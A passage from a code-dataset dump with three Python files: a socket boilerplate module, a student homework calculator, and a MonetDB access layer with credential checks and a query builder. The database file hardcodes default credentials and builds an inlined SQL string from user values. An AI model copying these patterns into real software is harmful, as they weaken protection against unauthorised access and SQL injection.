log\n\n# ------------------------ Methods ------------------------\n\n\ndef socket_hostname():\n \"\"\"Method that fetches the hostname of a socket\"\"\"\n return socket.gethostname()\n\n\ndef socket_hostport(sock):\n \"\"\"Method that fetches the hostport of a socket\"\"\"\n try:\n address = sock.getsockname() # returns tuple(IP, port) for server\n # address = sock.getpeername() # returns tuple(IP, port) for client connection\n return address[1]\n except Exception:\n return 0\n\n\n# ------------------------ Class Converted Methods ------------------------\n\ndef socket_open(hostname: str, hostport: int, connect_as=\"client\", timeout=30):\n \"\"\"Method that opens a socket\"\"\"\n connection_whitelist = [\"server\", \"client\"]\n if connect_as not in connection_whitelist:\n raise ValueError(\n f\"socket_open() expects 'connect_as' parameter to use approved values: {connection_whitelist}\")\n # Generate socket\n sock_family = socket.AF_INET\n sock_type = socket.SOCK_STREAM\n sock = socket.socket(sock_family, sock_type)\n sock.settimeout(timeout)\n\n if connect_as == \"client\":\n # Open socket client to communicate with a server\n try:\n # LOG.debug(f\"Connecting to host: {hostname}:{hostport}\")\n # Always provide socket.connect() with a tuple\n sock.connect((hostname, hostport))\n # LOG.debug(f\"Successfully connected to host: {hostname}:{hostport}\")\n except Exception as e:\n LOG.error(f\"An error occurred while connecting socket: {e}\")\n return\n\n elif connect_as == \"server\":\n # Open socket server as listener for client requests\n try:\n # LOG.debug(f\"Connecting to host: {hostname}:{hostport}\")\n # Always provide socket.bind() with a tuple\n sock.bind((hostname, hostport))\n sock.listen(5)\n # LOG.debug(f\"Successfully connected to host: {hostname}:{hostport}\")\n except Exception as e:\n LOG.error(f\"An error occurred while connecting socket: {e}\")\n return\n\n return sock\n\n\ndef socket_close(sock: socket.socket):\n \"\"\"Method that closes a socket\"\"\"\n # LOG.debug(\"(SocketContext:socket_close): Init\")\n # LOG.debug(\"(SocketContext:socket_close): Closing connection to host.\")\n\n # Halt all future operations (sending/receiving) on the socket connection\n try:\n sock.shutdown(socket.SHUT_RDWR)\n # LOG.debug(f\"(SocketContext:socket_close): Shutdown {self.hostname}:{self.hostport} socket traffic\")\n except Exception as exc:\n if exc.errno == 107:\n pass # [Errno 107] Transport endpoint is not connected\n else:\n # LOG.error(f\"(SocketContext:socket_close): An error occurred while attempting to close the connection: {e}\")\n return\n # Close the socket connection\n try:\n sock.close()\n except Exception as e:\n # LOG.error(f\"(SocketContext:socket_close): An error occurred while attempting to close the connection: {e}\")\n return\n\n # LOG.error(\"(SocketContext:socket_close): Socket connection closed\")\n return True\n\n\ndef socket_send_data(sock: socket.socket, message):\n \"\"\"Method that sends socket data\"\"\"\n # LOG.debug(\"(SocketContext:socket_send_data): Init\")\n # LOG.debug(f\"(SocketContext:socket_send_data): Sending message: {message}\")\n # Returns None on success; raises Exception on error\n result = sock.sendall(message)\n return result\n\n\ndef socket_receive_data(sock: socket.socket, byteLimit=4096):\n \"\"\"Method that receives socket data\"\"\"\n # LOG.debug(\"(SocketContext:socket_receive_data): Init\")\n status = \"\"\n\n try:\n data = sock.recv(byteLimit)\n # LOG.debug(f\"(SocketContext:socket_receive_data): Data received: {data}\")\n if data:\n return (data, None)\n else:\n # A zero length receive indicates socket is closed\n status = \"SOCKET_CLOSED\"\n # LOG.warning(\"Empty data response indicates socket was closed.\")\n except socket.timeout:\n status = \"TIMED_OUT\"\n # LOG.warning(\"Timed out waiting for data from socket.\")\n except socket.error as e:\n status = \"SOCKET_ERROR\"\n # LOG.error(f\"Socket error: {e}\")\n\n return (None, status)\n\n\ndef socket_next_client(sock):\n \"\"\"Method that advances to next socket\"\"\"\n # LOG.debug(\"(SocketContext:socket_next_client): Init\")\n try:\n (conn, addr) = sock.accept()\n return (conn, addr)\n except socket.timeout:\n # LOG.debug(\"Socket timed out waiting for a client.\")\n return (None, None)\n\n\n# ------------------------ Classes ------------------------\n\n# 'conn' accepts a socket instance, 'server', or 'client'\nclass SocketContext(object):\n \"\"\"Class to track socket context\"\"\"\n\n def __init__(self, conn=None, hostname: str = \"\", hostport: int = 0, timeout: int = 30):\n # Initial values\n self.family = socket.AF_INET\n self.type = socket.SOCK_STREAM\n # Generate new socket\n if isinstance(conn, socket.socket):\n self.sock = conn\n # TODO: verify connection\n else:\n # Verify values when creating socket connection\n connection_whitelist = [\"server\", \"client\"]\n if not conn in connection_whitelist:\n raise ValueError(f\"SocketContext() expects 'conn' parameter as choices: {connection_whitelist}\")\n\n self.sock = socket.socket(self.family, self.type)\n self.sock.settimeout(timeout)\n\n if conn == \"client\":\n # Open socket client to communicate with a server\n try:\n # LOG.debug(f\"(SocketContext:connect): Connecting to host: {hostname}:{hostport}\")\n # Always provide socket.connect() with a tuple\n self.sock.connect((hostname, hostport))\n # LOG.debug(f\"(SocketContext:connect): Successfully connected to host: {hostname}:{hostport}\")\n except Exception as e:\n # LOG.error(f\"An error occurred while connecting socket: {e}\")\n self.sock = None\n\n elif conn == \"server\":\n # Open socket server as listener for client requests\n try:\n # LOG.debug(f\"(SocketContext:ConnectAsServer): Connecting to host: {hostname}:{hostport}\")\n # Always provide socket.bind() with a tuple\n self.sock.bind((hostname, hostport))\n self.sock.listen(5)\n # LOG.debug(f\"(SocketContext:ConnectAsServer): Successfully connected to host: {hostname}:{hostport}\")\n except Exception as e:\n # LOG.error(f\"An error occurred while connecting socket: {e}\")\n self.sock = None\n\n def __repr__(self):\n return self.sock\n\n def __str__(self):\n return str(self.sock)\n\n def close(self):\n \"\"\"Method that closes SocketContext\"\"\"\n # LOG.debug(\"(SocketContext:close): Init\")\n LOG.debug(\"(SocketContext:close): Closing connection to host.\")\n try:\n # Halt send and receive of connection\n self.sock.shutdown(socket.SHUT_RDWR)\n LOG.debug(f\"(SocketContext:close): Shutdown {self.hostname}:{self.hostport} socket traffic.\")\n # Close all future operations on the socket\n self.sock.close()\n LOG.debug(\"(SocketContext:close): Socket connection closed.\")\n except Exception as e:\n LOG.debug(\n f\"(SocketContext:close): An error occurred while attempting to close the connection: {e}\")\n\n def send_data(self, message):\n \"\"\"Method that sends data from SocketContext\"\"\"\n # LOG.debug(\"(SocketContext:send_data): Init\")\n LOG.debug(f\"(SocketContext:send_data): Sending message: {message}\")\n # Returns None on success; raises Exception on error\n result = self.sock.sendall(message)\n return result\n\n def receive_data(self, byteLimit=4096):\n \"\"\"Method that receives data from SocketContext\"\"\"\n # LOG.debug(\"(SocketContext:receive_data): Init\")\n status = \"\"\n try:\n data = self.sock.recv(byteLimit)\n LOG.debug(f\"(SocketContext:receive_data): Data received: {data}\")\n if data:\n return (data, None)\n else:\n # A zero length receive indicates socket is closed\n status = \"SOCKET_CLOSED\"\n LOG.warning(\"(SocketContext:receive_data): empty data response indicates socket was closed\")\n except socket.timeout:\n status = \"TIMED_OUT\"\n LOG.warning(\"(SocketContext:receive_data): timed out waiting for data from socket\")\n except socket.error as e:\n status = \"SOCKET_ERROR\"\n LOG.error(f\"(SocketContext:receive_data): socket error: {e}\")\n return (None, status)\n\n def ConnectAsClient(self, hostname, hostport):\n \"\"\"Method that communicates to the server socket as client from SocketContext\"\"\"\n LOG.debug(\"(SocketContext:ConnectAsClient): Init\")\n if self.connected:\n return True\n self.hostname = str(hostname)\n self.hostport = int(hostport)\n try:\n LOG.debug(f\"(SocketContext:ConnectAsClient): Connecting to host: {self.hostname}:{self.hostport}\")\n # Always provide socket.connect() with a tuple\n self.sock.connect((self.hostname, self.hostport))\n self.connected = True\n LOG.debug(\n f\"(SocketContext:ConnectAsClient): Successfully connected to host: {self.hostname}:{self.hostport}\")\n except Exception as e:\n LOG.error(f\"(SocketContext:ConnectAsClient): An error occurred while connecting socket: {e}\")\n return self.connected\n\n def ConnectAsServer(self, hostname, hostport):\n \"\"\"Method that communicates to client sockets as the server from SocketContext\"\"\"\n LOG.debug(\"(SocketContext:ConnectAsServer): Init\")\n if self.connected:\n return True\n self.hostname = str(hostname)\n self.hostport = int(hostport)\n try:\n LOG.debug(f\"(SocketContext:ConnectAsServer): Connecting to host: {self.hostname}:{self.hostport}\")\n # Always provide socket.bind() with a tuple\n self.sock.bind((self.hostname, self.hostport))\n self.sock.listen(5)\n self.connected = True\n LOG.debug(\n f\"(SocketContext:ConnectAsServer): Successfully connected to host: {self.hostname}:{self.hostport}\")\n except Exception as e:\n LOG.error(f\"(SocketContext:ConnectAsServer): An error occurred while connecting socket: {e}\")\n return self.connected\n\n def NextClient(self):\n \"\"\"Method that communicates to next client socket from SocketContext\"\"\"\n LOG.debug(\"(SocketContext:NextClient): Init\")\n try:\n (conn, addr) = self.sock.accept()\n except socket.timeout:\n LOG.debug(\"(SocketContext:NextClient): socket timed out waiting for client\")\n return (None, None)\n conn = SocketContext(conn)\n return (conn, addr)\n\n\n# ------------------------ Main program ------------------------\n\n# Initialize the logger\nBASENAME = \"socket_boilerplate\"\nARGS: argparse.Namespace = argparse.Namespace() # for external modules\nLOG: log.Logger = log.get_logger(BASENAME)\n\nif __name__ == \"__main__\":\n # Returns argparse.Namespace; to pass into function, use **vars(self.ARGS)\n def parse_arguments():\n \"\"\"Method that parses arguments provided\"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--debug\", action=\"store_true\")\n parser.add_argument(\"--log-path\", default=\"\")\n return parser.parse_args()\n ARGS = parse_arguments()\n\n # Configure the main logger\n LOG_HANDLERS = log.default_handlers(ARGS.debug, ARGS.log_path)\n log.set_handlers(LOG, LOG_HANDLERS)\n\n LOG.debug(f\"ARGS: {ARGS}\")\n LOG.debug(\"------------------------------------------------\")\n\n # Initialize the socket\n HOSTNAME = socket_hostname()\n HOSTPORT = 5665\n SOCK = SocketContext(\"server\", HOSTNAME, HOSTPORT)\n SOCK.close()\n\n # --- Usage Example ---\n # sudo python /root/.local/lib/python2.7/site-packages/socket_boilerplate.py\n","repo_name":"david-rachwalik/pc-setup","sub_path":"python/modules/boilerplates/socket_boilerplate.py","file_name":"socket_boilerplate.py","file_ext":"py","file_size_in_byte":12987,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"39"} +{"seq_id":"464227590","text":"# The program receives two path (parameters - homework.txt, solutions.txt)\r\n# the program will solve all the math exercises in order to the solutions.txt\r\n# e.g: '49 + 2' ---> '49 + 2 = 51'\r\n# the format of the exercise must be: 'number-space-operator-space-number'\r\n# else print a custom error why\r\n\r\n# Parameters: \"C:\\Users\\LiadF\\OneDrive\\PythonNetwork\\Python\\Chapter 9 - excaptions\\solutions.txt\"\r\n# \"C:\\Users\\LiadF\\OneDrive\\PythonNetwork\\Python\\Chapter 9 - excaptions\\homework.txt\"\r\n\r\nimport sys\r\nimport os\r\n\r\nPATH = 1\r\n\r\n\r\ndef set_paths(dir1, dir2):\r\n \"\"\" Set the path into the right variable\r\n Args: dir1, dir2 - 2 str (path)\r\n Returns: path,path \"\"\"\r\n if os.path.basename(dir1) == 'homework.txt':\r\n if os.path.basename(dir2) == 'solutions.txt':\r\n return dir1, dir2\r\n\r\n elif os.path.basename(dir2) == 'homework.txt':\r\n if os.path.basename(dir1) == 'solutions.txt':\r\n return dir2, dir1\r\n\r\n\r\ndef is_op(s):\r\n \"\"\" Gets str and check if it's an operator\r\n Arg: s - str\r\n Returns: True / False\"\"\"\r\n\r\n if len(s) == 1:\r\n if s == '+' or s == '-' or s == '*' or s == '/':\r\n return True\r\n return False\r\n\r\n\r\ndef check_line_format(line):\r\n \"\"\" Gets a line from a file and check if it in the right format,\r\n the format is: number-space-operator-space-number\r\n Arg: line - str\r\n Returns: True / False\"\"\"\r\n\r\n split_line = line.split()\r\n if len(split_line) == 3:\r\n if split_line[0].isdigit() and split_line[2].isdigit() and is_op(split_line[1]):\r\n return True\r\n return False\r\n\r\n\r\ndef calculator(line):\r\n split_line = line.split()\r\n\r\n num1 = int(split_line[0])\r\n op = split_line[1]\r\n num2 = int(split_line[2])\r\n try:\r\n if op == '+':\r\n return num1 + num2\r\n elif op == '-':\r\n return num1 - num2\r\n elif op == '*':\r\n return num1 * num2\r\n elif op == '/':\r\n return num1 / num2\r\n\r\n except ZeroDivisionError:\r\n print('Error : cannot divide by zero')\r\n\r\n\r\ndef main():\r\n try:\r\n homework_directory = sys.argv[PATH]\r\n solutions_directory = sys.argv[PATH + 1]\r\n\r\n homework_directory, solutions_directory = set_paths(homework_directory, solutions_directory)\r\n\r\n with open(homework_directory, 'r') as homework:\r\n with open(solutions_directory, 'w') as solutions:\r\n for line in homework:\r\n if check_line_format(line):\r\n new_line = line.strip() + \" = {}\".format(str(calculator(line)))\r\n solutions.write(new_line + '\\n')\r\n # solve\r\n else:\r\n new_line = line.strip() + \" - can't solve, it's need to be a math exercise\"\r\n solutions.write(new_line + '\\n')\r\n\r\n\r\n\r\n except IndexError: # if there is any missing parameter print...\r\n print(\"Missing script parameter\")\r\n except TypeError: # if there is any missing parameter print...\r\n if os.path.isfile(homework_directory):\r\n print(\"Error : {} - No such a file\".format(solutions_directory))\r\n else:\r\n print(\"Error : {} - No such a file\".format(homework_directory))\r\n except Exception as e: # if their error which error print...\r\n print(\"Error: {}\".format(e))\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"LiadFirouz/Python_Course","sub_path":"Chapter 9 - excaptions/lazy student 2.py","file_name":"lazy student 2.py","file_ext":"py","file_size_in_byte":3457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"31720749836","text":"import re\n\nimport simplejson\nimport DQXbase64\nimport pymonetdb.sql\nimport config\nimport os\n\n#As we created the DB and it is only listening on localhost set these here\nconfig.DBUSER = 'monetdb'\nconfig.DBPASS = 'monetdb'\nconfig.DBSRV = 'localhost'\nconfig.DB = 'datasets'\nimport time\n\nLogRequests = True\n\n\n# Enumerates types of actions that can be done on a database entity\nclass DbOperationType:\n read = 1\n write = 2\n\n\n# Encapsulates an operation that is done on a database entity\nclass DbOperation:\n def __init__(self, operationType, databaseName, tableName=None, columnName=None):\n if (databaseName is None) or (databaseName == ''):\n databaseName = config.DB\n self.operationType = operationType\n self.databaseName = databaseName\n self.tableName = tableName\n self.columnName = columnName\n\n def IsModify(self):\n return self.operationType == DbOperationType.write\n\n def OnDatabase(self, databaseName):\n return self.databaseName == databaseName\n\n def OnTable(self, tableName):\n return self.tableName == tableName\n\n def OnColumn(self, columnName):\n return self.columnName == columnName\n\n def __str__(self):\n st = ''\n if (self.operationType == DbOperationType.read):\n st += 'Read'\n if (self.operationType == DbOperationType.write):\n st += 'Write'\n st += ':'\n st += self.databaseName\n if self.tableName is not None:\n st += ':' + self.tableName\n if self.columnName is not None:\n st += ':' + self.columnName\n return st\n\n\n# Encapsulates a read operation that is done on a database entity\nclass DbOperationRead(DbOperation):\n def __init__(self, databaseName, tableName=None, columnName=None):\n DbOperation.__init__(self, DbOperationType.read, databaseName, tableName, columnName)\n\n\n# Encapsulates a write operation that is done on a database entity\nclass DbOperationWrite(DbOperation):\n def __init__(self, databaseName, tableName=None, columnName=None):\n DbOperation.__init__(self, DbOperationType.write, databaseName, tableName, columnName)\n\n\n# Encapsulates the result of an authorisation request on a database operation\nclass DbAuthorization:\n def __init__(self, granted, reason=None):\n self.granted = granted\n if reason is None:\n if not granted:\n reason = 'Insufficient privileges to perform this action.'\n else:\n reason = ''\n self.reason = reason\n def IsGranted(self):\n return self.granted\n def __str__(self):\n return self.reason\n def __nonzero__(self):\n return self.granted\n def __bool__(self):\n return self.granted\n\n\n# Define a custom credential handler here by defining function taking a DbOperation and a CredentialInformation\n# returning a DbAuthorization instance\nDbCredentialVerifier = None\n\n\nclass CredentialException(Exception):\n def __init__(self, message):\n Exception.__init__(self, message)\n\nclass CredentialDatabaseException(CredentialException):\n def __init__(self, operation, auth):\n st = str(auth) + \" \\n\\n[\" + str(operation) + ']'\n CredentialException.__init__(self, st)\n\n\n\n# Encapsulates information about the credentials a user has\nclass CredentialInformation:\n def __init__(self, requestData=None):\n self.clientaddress = None\n self.userid = 'anonymous'\n self.groupids = []\n\n if requestData:\n if ('isRunningLocal' in requestData) and (requestData['isRunningLocal']):\n self.userid = 'local'\n return\n\n if 'environ' not in requestData:\n raise Exception('Data does not contain environment information')\n environ = requestData['environ']\n #print('ENV:'+str(environ))\n\n if 'REMOTE_ADDR' in environ:\n self.clientaddress = environ['REMOTE_ADDR']\n if 'REMOTE_USER' in environ:\n self.userid = environ['REMOTE_USER']\n if 'HTTP_CAS_MEMBEROF' in environ:\n cas_memberof = environ['HTTP_CAS_MEMBEROF'].strip('[]')\n if cas_memberof and cas_memberof != 'None':\n for groupStr in cas_memberof.split(';'):\n groupStr = groupStr.strip(' ')\n groupPath = []\n for tokenStr in groupStr.split(','):\n tokenStr = tokenStr.strip(' ')\n tokenid = tokenStr.split('=')[0]\n tokencontent = tokenStr.split('=')[1]\n if (tokenid == 'cn') or (tokenid == 'ou') or (tokenid == 'dc'):\n groupPath.append(tokencontent)\n self.groupids.append('.'.join(groupPath))\n\n\n # operation is of type DbOperation\n def CanDo(self, operation):\n if DbCredentialVerifier is not None:\n auth = DbCredentialVerifier(self, operation)\n return auth.IsGranted()\n else:\n return True\n\n # operation is of type DbOperation. raises an exception of not authorised\n def VerifyCanDo(self, operation):\n if DbCredentialVerifier is not None:\n auth = DbCredentialVerifier(self, operation)\n if not(auth.IsGranted()):\n raise CredentialDatabaseException(operation, auth)\n\n def GetAuthenticationInfo(self):\n str = ''\n str += 'USER=' + self.userid\n str += ';CLIENTADDRESS=' + self.clientaddress\n str += ';GROUPS=' + ','.join(self.groupids)\n return str\n\n def GetUserId(self):\n return self.userid\n\n def get_auth_query(self, database, tables):\n from responders.importer import configReadWrite\n if database != 'datasets':\n dataset_config = configReadWrite.getJSONConfig(database,\n not os.getenv('STAGING', '') and not os.getenv('DEVELOPMENT',\n ''))\n auth_groups = dataset_config['settings'].get('authGroups', {})\n allowed_auth_values = {dataset_config['settings']['authUnrestrictedValue']}\n else:\n auth_groups = {}\n allowed_auth_values = set()\n for group_id in self.groupids:\n for group_id_pattern, allowed_for_this_group in auth_groups.items():\n if allowed_auth_values == 'all':\n continue\n if re.search(group_id_pattern, group_id):\n if allowed_for_this_group == 'all':\n allowed_auth_values = 'all'\n elif isinstance(allowed_for_this_group, list):\n allowed_auth_values.update(\n re.sub(group_id_pattern, entry, group_id) for entry in allowed_for_this_group)\n else:\n SyntaxError('authGroups setting contains an entry that is not \"all\" or a list of allowed values')\n allowed_auth_values = 'all' if allowed_auth_values == 'all' else tuple(allowed_auth_values)\n auth_subqueries = []\n for table in tables:\n if database != 'datasets' and table not in [\"_sequence_\", \"annotation\"]: #Ref seq table and annotation doesn't have config. FIXME: Not a good idea that annotation table has a potentially colliding name\n auth_property = dataset_config['tablesById'][table].get('authProperty', None)\n else:\n auth_property = None\n if auth_property and allowed_auth_values != 'all':\n auth_subqueries.append({\n \"whcClass\": \"compound\",\n \"isCompound\": True,\n \"Tpe\": \"OR\",\n \"Components\": [{\n \"whcClass\": \"comparefixed\",\n \"isCompound\": False,\n \"ColName\": \"{}.{}\".format(DBCOLESC(table), DBCOLESC(auth_property)),\n \"CompValue\": allowed_value,\n \"Tpe\": \"=\"\n } for allowed_value in allowed_auth_values]\n })\n if auth_subqueries:\n auth_query = {\n \"whcClass\": \"compound\",\n \"isCompound\": True,\n \"Tpe\": \"AND\",\n \"Components\": auth_subqueries\n }\n else:\n auth_query = None\n return auth_query\n\nclass Timeout(Exception):\n pass\n\nclass DBCursor(object):\n def __init__(self, cred_data_or_cred=None, db=None, **kwargs):\n\n #monet doesn't do timeouts this way, so disable for now\n if 'read_timeout' in kwargs:\n del kwargs['read_timeout']\n\n self.db_args = {\n 'host': config.DBSRV,\n 'autocommit': True\n }\n self.db_args['user'] = config.DBUSER\n self.db_args['password'] = config.DBPASS\n self.db_args['database'] = db or config.DB\n\n self.db_args.update(kwargs)\n\n if type(cred_data_or_cred) == type(CredentialInformation()):\n self.credentials = cred_data_or_cred\n else:\n self.credentials = CredentialInformation(cred_data_or_cred)\n self.db = None\n self.cursor = None\n self.conn_id = None\n\n def __enter__(self):\n self.credentials.VerifyCanDo(DbOperationRead(self.db_args['database']))\n self.db = pymonetdb.connect(**self.db_args)\n self.db.arraysize = 1000\n self.db.autocommit = self.db_args.get('autocommit', False)\n self.cursor = self.db.cursor()\n #Needed for timeout which is currently disabled\n # self.cursor.execute(\"SELECT CONNECTION_ID();\")\n # self.conn_id = self.cursor.fetchall()[0][0]\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.cursor.close()\n self.db.close()\n\n def execute(self, query, params=None):\n #TODO - reinstate this mechanism for monet\n # if 'read_timeout' not in self.db_args:\n retry = True\n while retry:\n try:\n # print repr(query), repr(params)\n result = self.cursor.execute(query, params)\n retry = False\n except pymonetdb.exceptions.ProgrammingError as e:\n if '40000' in str(e):\n retry = True\n else:\n raise e\n return result\n # else:\n # timeout = self.db_args['read_timeout']\n # t = time.time()\n # try:\n # return self.cursor.execute(query, params)\n # except MySQLdb.OperationalError as e:\n # if e[0] == 2013: #Check specific error code (Lost connection)\n # #As the MYSQL API doesn't tell us this is a timeout or not we\n # #guess based on the fact that the exception was raised just\n # # when we expect it to be.... yeah I know.\n # duration = (time.time() - t)\n # #Re-connect and kill the query\n # self.db = MySQLdb.connect(**self.db_args)\n # self.cursor = self.db.cursor()\n # self.cursor.execute(\"KILL %s\", (self.conn_id,))\n # #Give 50ms grace in either dir\n # if (duration > timeout - 0.05) and (duration < timeout + 0.05):\n # raise Timeout\n #\n # raise e\n\n def commit(self):\n if not self.db.autocommit:\n self.db.commit()\n\n def __getattr__(self, attrname):\n return getattr(self.cursor, attrname) # Delegate to actual cursor\n\n\ndef ToSafeIdentifier(st):\n st = str(st)\n if st is not None:\n removelist=['\"', \"'\", ';', '`', '\\x00', '\\n', '\\r', '\\x1a']\n for it in removelist:\n st = st.replace(it, \"\")\n return st\n\n\ndef DBCOLESC(arg):\n if arg == \"*\":\n return arg\n if '.' in arg:\n table, column = arg.split('.')\n return '\"'+ToSafeIdentifier(table)+'\".\"'+ToSafeIdentifier(column)+'\"'\n else:\n return '\"'+ToSafeIdentifier(arg)+'\"'\n\ndef DBTBESC(arg):\n if '.' in arg:\n schema, table = arg.split('.')\n return '\"'+ToSafeIdentifier(schema)+'\".\"'+ToSafeIdentifier(table)+'\"'\n return '\"'+ToSafeIdentifier(arg)+'\"'\n\ndef DBDBESC(arg):\n return '\"'+ToSafeIdentifier(arg)+'\"'\n\n#parse column encoding information\ndef ParseColumnEncoding(columnstr):\n mycolumns=[]\n for colstr in columnstr.split('~'):\n mycolumns.append( { 'Encoding':colstr[0:2], 'Name':ToSafeIdentifier(colstr[2:]) } )\n return mycolumns\n\n\n#A whereclause encapsulates the where statement of a single table sql query\nclass WhereClause:\n def __init__(self):\n self.query = None #this contains a tree of statements\n self.ParameterPlaceHolder = \"?\" #determines what is the placeholder for a parameter to be put in an sql where clause string\n\n #Decodes an url compatible encoded query into the statement tree\n def Decode(self, str, noBase64=False):\n if not noBase64:\n str = DQXbase64.b64decode_var2(str)\n self.query = simplejson.loads(str)\n pass\n\n #Creates an SQL where clause string out of the statement tree\n def CreateSelectStatement(self):\n self.querystring = '' #will hold the fully filled in standalone where clause string (do not use this if sql injection is an issue!)\n self.querystring_params = '' #will hold the parametrised where clause string\n self.queryparams = [] #will hold a list of parameter values\n self._CreateSelectStatementSub(self.query)\n\n def _CreateSelectStatementSub_Compound(self, statm):\n if not(statm['Tpe'] in ['AND', 'OR']):\n raise Exception(\"Invalid compound statement {0}\".format(statm['Tpe']))\n first = True\n for comp in statm['Components']:\n if comp['whcClass'] == 'trivial' or comp.get('isTrivial', False):\n continue\n if not first:\n self.querystring += \" \"+statm['Tpe']+\" \"\n self.querystring_params += \" \"+statm['Tpe']+\" \"\n self.querystring += \"(\"\n self.querystring_params += \"(\"\n self._CreateSelectStatementSub(comp)\n self.querystring += \")\"\n self.querystring_params += \")\"\n first = False\n\n def _CreateSelectStatementSub_Comparison(self, statm):\n #TODO: check that statm['ColName'] corresponds to a valid column name in the table (to avoid SQL injection)\n if not(statm['Tpe'] in ['=', '<>', '<', '>', '<=', '>=', '!=', 'LIKE', 'CONTAINS', 'CONTAINS_CASE_INSENSITIVE', 'NOTCONTAINS', 'NOT_CONTAINS_CASE_INSENSITIVE', 'STARTSWITH', 'ENDSWITH', 'ISPRESENT', 'ISABSENT', '=FIELD', '<>FIELD', '<FIELD', '>FIELD', 'between', 'ISEMPTYSTR', 'ISNOTEMPTYSTR', '_subset_', '_note_']):\n raise Exception(\"Invalid comparison statement {0}\".format(statm['Tpe']))\n\n processed = False\n\n if statm['Tpe'] == 'ISPRESENT':\n processed = True\n st = '{0} IS NOT NULL'.format(DBCOLESC(statm['ColName']))\n self.querystring += st\n self.querystring_params += st\n\n if statm['Tpe'] == 'ISABSENT' or \\\n (statm['Tpe'] == '=' and statm['CompValue'] is None) or \\\n (statm['Tpe'] == '=' and statm['CompValue'] == ''):\n processed = True\n st = '{0} IS NULL'.format(DBCOLESC(statm['ColName']))\n self.querystring += st\n self.querystring_params += st\n\n if statm['Tpe'] == 'ISEMPTYSTR':\n processed = True\n st = '{0}=\\'\\''.format(DBCOLESC(statm['ColName']))\n self.querystring += st\n self.querystring_params += st\n\n if statm['Tpe'] == 'ISNOTEMPTYSTR':\n processed = True\n st = '{0}<>\\'\\''.format(DBCOLESC(statm['ColName']))\n self.querystring += st\n self.querystring_params += st\n\n if statm['Tpe'] == '=FIELD':\n processed = True\n st = '{0}={1}'.format(\n DBCOLESC(statm['ColName']),\n DBCOLESC(statm['ColName2'])\n )\n self.querystring += st\n self.querystring_params += st\n\n if statm['Tpe'] == '<>FIELD':\n processed = True\n st = '{0}<>{1}'.format(\n DBCOLESC(statm['ColName']),\n DBCOLESC(statm['ColName2'])\n )\n self.querystring += st\n self.querystring_params += st\n\n if (statm['Tpe'] == '<FIELD') or (statm['Tpe'] == '>FIELD'):\n processed = True\n operatorstr = statm['Tpe'].split('FIELD')[0]\n self.querystring += '{0} {4} {1} * {2} + {3}'.format(\n DBCOLESC(statm['ColName']),\n ToSafeIdentifier(statm['Factor']),\n DBCOLESC(statm['ColName2']),\n ToSafeIdentifier(statm['Offset']),\n operatorstr)\n self.querystring_params += '{0} {4} {1} * {2} + {3}'.format(\n DBCOLESC(statm['ColName']),\n self.ParameterPlaceHolder,\n DBCOLESC(statm['ColName2']),\n self.ParameterPlaceHolder,\n operatorstr)\n self.queryparams.append(ToSafeIdentifier(statm['Factor']))\n self.queryparams.append(ToSafeIdentifier(statm['Offset']))\n\n if statm['Tpe'] == 'between':\n processed = True\n self.querystring += DBCOLESC(statm['ColName'])+' between '+ToSafeIdentifier(statm[\"CompValueMin\"])+' and '+ToSafeIdentifier(statm[\"CompValueMax\"])\n self.querystring_params += '{0} between {1} and {1}'.format(DBCOLESC(statm['ColName']), self.ParameterPlaceHolder)\n self.queryparams.append(ToSafeIdentifier(statm[\"CompValueMin\"]))\n self.queryparams.append(ToSafeIdentifier(statm[\"CompValueMax\"]))\n\n if statm['Tpe'] == '_subset_':\n processed = True\n querystr = '{primkey} IN (SELECT {primkey} FROM {subsettable} WHERE subsetid={subsetid})'.format(\n primkey=DBCOLESC(ToSafeIdentifier(statm['PrimKey'])),\n subsettable=DBTBESC(ToSafeIdentifier(statm['SubsetTable'])),\n subsetid=ToSafeIdentifier(statm['Subset'])\n )\n self.querystring += querystr\n self.querystring_params += querystr\n\n if statm['Tpe'] == '_note_':\n processed = True\n\n param = ToSafeIdentifier(statm['NoteText']) + '*'\n if len(statm['NoteText']) == 0:\n whereclause='TRUE'\n pass\n else:\n whereclause = 'MATCH(`content`) AGAINST (__param__ IN BOOLEAN MODE)'\n self.queryparams.append(param)\n\n querystr = '{primkey} IN (SELECT `itemid` FROM `notes` WHERE (`tableid`=\"{tableid}\") and ({whereclause}))'.format(\n# querystr = '{primkey} IN (SELECT `itemid` FROM `notes` WHERE (`tableid`=\"{tableid}\") and (`content` LIKE __param__))'.format(\n whereclause=whereclause,\n tableid=ToSafeIdentifier(statm['NoteItemTable']),\n primkey=DBCOLESC(ToSafeIdentifier(statm['PrimKey']))\n )\n self.querystring += querystr.replace('__param__', '\"' + param + '\"')\n self.querystring_params += querystr.replace('__param__', self.ParameterPlaceHolder)\n\n if not(processed):\n decoval = statm['CompValue']\n operatorstr = statm['Tpe']\n if operatorstr == 'CONTAINS':\n operatorstr = 'LIKE'\n decoval = '%{0}%'.format(decoval)\n elif operatorstr == 'NOTCONTAINS':\n operatorstr = 'NOT LIKE'\n decoval = '%{0}%'.format(decoval)\n elif operatorstr == 'STARTSWITH':\n operatorstr = 'LIKE'\n decoval = '{0}%'.format(decoval)\n elif operatorstr == 'ENDSWITH':\n operatorstr = 'LIKE'\n decoval = '%{0}'.format(decoval)\n elif operatorstr == 'CONTAINS_CASE_INSENSITIVE':\n operatorstr = 'LIKE'\n decoval = '%{0}%'.format(decoval)\n self.querystring += DBCOLESC(statm['ColName']) + ' ' + ToSafeIdentifier(operatorstr) + ' '\n print('{0} {1} {2}'.format(\n 'UPPER(' + DBCOLESC(statm['ColName']) + ')',\n ToSafeIdentifier(operatorstr),\n 'UPPER(' + self.ParameterPlaceHolder) + ')')\n self.querystring_params += '{0} {1} {2}'.format(\n 'UPPER(' + DBCOLESC(statm['ColName']) + ')',\n ToSafeIdentifier(operatorstr),\n 'UPPER(' + self.ParameterPlaceHolder) + ')'\n elif operatorstr == 'NOT_CONTAINS_CASE_INSENSITIVE':\n operatorstr = 'NOT LIKE'\n decoval = '%{0}%'.format(decoval)\n self.querystring += DBCOLESC(statm['ColName']) + ' ' + ToSafeIdentifier(operatorstr) + ' '\n self.querystring_params += '{0} {1} {2}'.format(\n 'UPPER(' + DBCOLESC(statm['ColName']) + 